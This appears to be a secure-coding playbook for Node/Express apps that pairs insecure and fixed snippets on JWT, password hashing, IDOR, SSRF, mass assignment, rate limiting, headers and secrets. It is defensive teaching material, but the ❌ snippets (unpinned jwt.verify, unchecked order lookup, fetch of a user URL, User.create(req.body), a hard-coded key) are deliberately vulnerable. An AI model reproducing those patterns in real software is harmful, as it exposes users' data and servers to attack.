Application Security Pro Playbook

// ❌ long-lived, unrevocable, and algorithm not pinned
jwt.verify(token, secret)                 // accepts whatever alg the token claims

// ✅ verify with an EXPLICIT algorithm and short lifetime + refresh flow
const access = jwt.sign({ sub: user.id }, KEY, { algorithm: 'RS256', expiresIn: '10m' })
jwt.verify(token, PUBLIC_KEY, { algorithms: ['RS256'] })  // reject 'none' & alg-swap
// keep a server-side denylist / token version to force logout on password change

import argon2 from 'argon2'

// ✅ register — argon2id with sane memory/time cost; salt is handled for you
const hash = await argon2.hash(password, { type: argon2.argon2id })
//   → $argon2id$v=19$m=65536,t=3,p=4$<salt>$<hash>   (salt embedded)

// ✅ login — constant-time compare, no early-exit timing leak
const ok = await argon2.verify(userRow.passwordHash, password)

// ❌ NEVER: db.save({ password })                       // plaintext
// ❌ NEVER: sha256(password)  /  md5(password)          // fast + unsalted
// ❌ NEVER: if (hash === computed)                        // timing side-channel

// ❌ IDOR — fetches by client id, ownership never checked
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.order(req.params.id)      // any id works
  res.json(order)
})

// ✅ bind the object to the session user IN THE QUERY
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.query(
    'SELECT * FROM orders WHERE id = $1 AND owner_id = $2',
    [req.params.id, req.user.id])                  // owner from SESSION, not URL
  if (!order) return res.status(404).end()         // 404: don't reveal existence
  res.json(order)
})

import { z } from 'zod'

// ✅ allowlist shape — reject anything that doesn't fit, before use
const Order = z.object({
  zip:      z.string().regex(/^\d{5}$/),
  quantity: z.number().int().positive().max(100),   // no negatives, no overflow
  note:     z.string().max(500)
})
const data = Order.parse(req.body)   // throws on bad input → 400

// ✅ then ENCODE for the destination (never reuse the same escaping everywhere)
res.send(`<p>${htmlEncode(data.note)}</p>`)         // HTML context
db.query('INSERT INTO orders(zip) VALUES ($1)', [data.zip])  // SQL: parameterize

import dns from 'node:dns/promises'
import ipaddr from 'ipaddr.js'

async function safeFetch(userUrl) {
  const url = new URL(userUrl)
  if (!['http:', 'https:'].includes(url.protocol)) throw new Error('scheme')
  if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error('host not allowed')

  // resolve DNS and REJECT private / link-local (defeats DNS-rebinding + metadata)
  const { address } = await dns.lookup(url.hostname)
  const range = ipaddr.parse(address).range()
  if (['private','loopback','linkLocal','uniqueLocal'].includes(range))
    throw new Error('blocked internal address')

  return fetch(url, { redirect: 'error', signal: AbortSignal.timeout(3000) })
}
// ❌ fetch(req.body.url)   // hands your server to the attacker

// ❌ mass assignment — client controls EVERY column
const user = await User.create(req.body)

// ✅ pick only the fields a signup is allowed to set
const CREATABLE = ['name', 'email', 'password']
const input = Object.fromEntries(
  Object.entries(req.body).filter(([k]) => CREATABLE.includes(k)))
const user = await User.create({ ...input, role: 'user', isVerified: false })
//   role & isVerified are set by the SERVER, never from req.body

import rateLimit from 'express-rate-limit'

// per-IP cap on the login route
const loginLimiter = rateLimit({
  windowMs: 15 * 60_000, max: 20,          // 20 attempts / 15 min / IP
  standardHeaders: true,                    // sends RateLimit + Retry-After
  message: { error: 'too many attempts, slow down' }
})
app.post('/login', loginLimiter, async (req, res) => {
  const fails = await incrFailures(req.body.email)      // ALSO per-account
  if (fails > 5) return res.status(429).set('Retry-After', '900').end()
  // …verify password; on success resetFailures(email)
})
// generic errors: never reveal "user exists" vs "wrong password" (enumeration)

import helmet from 'helmet'
app.use(helmet({
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
  contentSecurityPolicy: { directives: { defaultSrc: ["'self'"] } },
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  frameguard: { action: 'deny' }
}))

# configs lie; verify the ACTUAL response headers
$ curl -sI https://app.example.com | grep -iE 'strict-transport|content-security|x-content'
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff

// ✅ read from the environment/manager at runtime — nothing hard-coded
const dbUrl = process.env.DATABASE_URL     // injected from Vault/Secrets Manager
// even better: fetch a SHORT-LIVED credential per boot
const { username, password } = await vault.read('database/creds/app')  // 1h TTL

// ❌ const API_KEY = 'sk_live_9f3...'      // in code = in git = leaked forever
// ❌ console.log(process.env)              // dumps every secret into logs

# stop leaks before they land: scan staged changes & history in CI
$ gitleaks protect --staged        # block the commit if a secret is detected
$ git rm --cached .env && echo ".env" >> .gitignore
# and if one leaked: ROTATE it (assume it's compromised) — removing the commit is not enough